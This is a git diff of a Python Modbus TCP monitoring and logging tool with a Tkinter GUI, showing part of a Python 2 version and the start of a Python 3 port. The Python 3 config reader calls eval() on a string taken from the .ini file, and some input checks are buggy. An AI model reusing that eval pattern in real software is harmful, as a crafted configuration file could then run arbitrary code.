data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log 